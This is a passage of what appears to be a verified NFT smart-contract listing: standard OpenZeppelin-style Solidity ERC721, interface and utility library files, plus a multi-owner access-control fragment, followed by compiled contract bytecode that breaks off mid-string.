_owners[index] = address(0);
}
function setOwner(uint8 index, address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipUpdated(_owners[index], newOwner);
_owners[index] = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| 0x60806040526004361061021a5760003560e01c80635c975abb11610123578063a15b4418116100ab578063c87b56dd1161006f578063c87b56dd146107e3578063e1f5ccdf14610820578063e53699611461083c578063e985e9c514610865578063f1e25ea8146108a25761021a565b8063a15b4418146106ec578063a22cb46514610729578063a303cf8e14610752578063ae4f14761461078f578063b88d4fde146107ba5761021a565b806377b098af116100f257806377b098af146106175780638019016c146106545780638456cb591461067f57806395d89b4114610696578063a035b1fe146106c15761021a565b80635c975abb1461054957806362fea8dd146105745780636352211e1461059d57806370a08231146105da5761021a565b80633233f31c116101a65780633f4ba83a116101755780633f4ba83a1461047a57806340c10f191461049157806342842e0e146104ba5780634f6ccce7146104e357806355f804b3146105205761021a565b80633233f31c146103e65780633635c3691461040f5780633b53cb541461043a5780633ccfd60b146104635761021a565b8063090a0fa7116101ed578063090a0fa7146102ef578063095ea7b31461032c57806318160ddd1461035557806323b872dd146103805780632f745c59146103a95761021a565b806301ffc9a71461021f57806306fdde031461025c57806307fd400c14610287578063081812fc146102b2575b600080fd5b34801561022b57600080fd5b5061024660048036038101906102419190614442565b6108df565b6040516102539190614b0c565b60405180910390f35b34801561026857600080fd5b50610271610959565b60405161027e9190614b42565b60405180910390f35b34801561029357600080fd5b5061029c6109eb565b6040516102a99190614b27565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d491906144d5565b610a12565b6040516102e69190614aa5565b60405180910390f35b3480156102fb57600080fd5b506103166004803603810190610311919061453a565b610a97565b6040516103239190614aa5565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e91906143dd565b610aff565b005b34801561036157600080fd5b5061036a610c17565b6040516103779190614edf565b60405180910390f35b34801561038c57600080fd5b506103a760048036038101906103a2919061429b565b610c24565b005b3480156103b557600080fd5b506103d060048036038101906103cb91906143dd565b610c84565b6040516103dd9190614edf565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906144fe565b610d29565b005b34801561041b57600080fd5b506104246110a5565b6040516104319190614b0c565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c9190614419565b6110b8565b005b34801561046f57600080fd5b506104786112c3565b005b34801561048657600080fd5b5061048f611500565b005b34801561049d57600080fd5b506104b860048036038101906104b391906143dd565b611791565b005b3480156104c657600080fd5b506104e160048036038101906104dc919061429b565b6119ca565b005b3480156104ef57600080fd5b5061050a600480360381019061050591906144d5565b6119ea565b6040516105179190614edf565b60405180910390f35b34801561052c57600080fd5b5061054760048036038101906105429190614494565b611a81565b005b34801561055557600080fd5b5061055e611c89565b60405161056b9190614b0c565b60405180910390f35b34801561058057600080fd5b5061059b6004803603810190610596919061453a565b611c9c565b005b3480156105a957600080fd5b506105c460048036038101906105bf91906144d5565b611fc4565b6040516105d19190614aa5565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc919061420d565b612076565b60405161060e9190614edf565b60405180910390f35b34801561062357600080fd5b5061063e600480360381019061063991906144d5565b61212e565b60405161064b9190614b0c565b60405180910390f35b34801561066057600080fd5b5061066961214e565b6040516106769190614ec4565b60405180910390f35b34801561068b57600080fd5b50610694612162565b005b3480156106a257600080fd5b506106ab6123f4565b6040516106b89190614b42565b60405180910390f35b3480156106cd57600080fd5b506106d6612486565b6040516106e39190614edf565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e919061420d565b612492565b6040516107209190614b0c565b60405180910390f35b34801561073557600080fd5b50610750600480360381019061074b9190614365565b6124b2565b005b34801561075e57600080fd5b50610779600480360381019061077491906144d5565b612633565b6040516107869190614b0c565b60405180910390f35b34801561079b57600080fd5b506107a4612653565b6040516107b19190614b27565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc91906142ea565b61267a565b005b3480156107ef57600080fd5b5061080a600480360381019061080591906144d5565b6126dc565b6040516108179190614b42565b60405180910390f35b61083a600480360381019061083591906143a1565b612783565b005b34801561084857600080fd5b50610863600480360381019061085e9190614563565b612840565b005b34801561087157600080fd5b5061088c6004803603810190610887919061425f565b612bd7565b6040516108999190614b0c565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c491906144d5565b612c6b565b6040516108d69190614b0c565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610952575061095182612e76565b5b9050919050565b60606000805461096890615184565b80601f016020809104026020016040519081016040528092919081815260200182805461099490615184565b80156109e15780601f106109b6576101008083540402835291602001916109e1565b820191906000526020600020905b8154815290600101906020018083116109c457829003601f168201915b5050505050905090565b7f1288f5184d996524ea5f6e6d51fc46548caced33616e91dcfe205189d1a03e2e60001b81565b6000610a1d82612f58565b610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5390614d24565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600a8260ff1660038110610ad6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b0a82611fc4565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7290614e04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b9a612fc4565b73ffffffffffffffffffffffffffffffffffffffff161480610bc95750610bc881610bc3612fc4565b612bd7565b5b610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90614ca4565b60405180910390fd5b610c128383612fcc565b505050565b6000600880549050905090565b610c35610c2f612fc4565b82613085565b610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90614e24565b60405180910390fd5b610c7f838383613163565b505050565b6000610c8f83612076565b8210610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc790614b84565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600e60019054906101000a900460ff16610d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6f90614ea4565b60405180910390fd5b611b29610d83610c17565b1115610d8e57600080fd5b6000601260009054906101000a900461ffff1661ffff1611610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90614c44565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1673c3f733ca98e0dad0386979eb96fb1722a1a05e6973ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401610e499190614edf565b60206040518083038186803b158015610e6157600080fd5b505afa158015610e75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e999190614236565b73ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690614b64565b60405180910390fd5b6010600083815260200190815260200160002060009054906101000a900460ff1615610f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4790614d84565b60405180910390fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490614d44565b60405180910390fd5b60016010600084815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506012600081819054906101000a900461ffff1661107d9061515a565b91906101000a81548161ffff021916908361ffff1602179055506110a133826133bf565b5050565b600e60019054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600a60006003811061110a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111d557503373ffffffffffffffffffffffffffffffffffffffff16600a60016003811061119b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061126757503373ffffffffffffffffffffffffffffffffffffffff16600a60026003811061122d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90614d64565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600a600060038110611315577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806113e057503373ffffffffffffffffffffffffffffffffffffffff16600a6001600381106113a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061147257503373ffffffffffffffffffffffffffffffffffffffff16600a600260038110611438577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890614d64565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114fc573d6000803e3d6000fd5b5050565b600e60009054906101000a900460ff1661154f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154690614e84565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600a6000600381106115a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff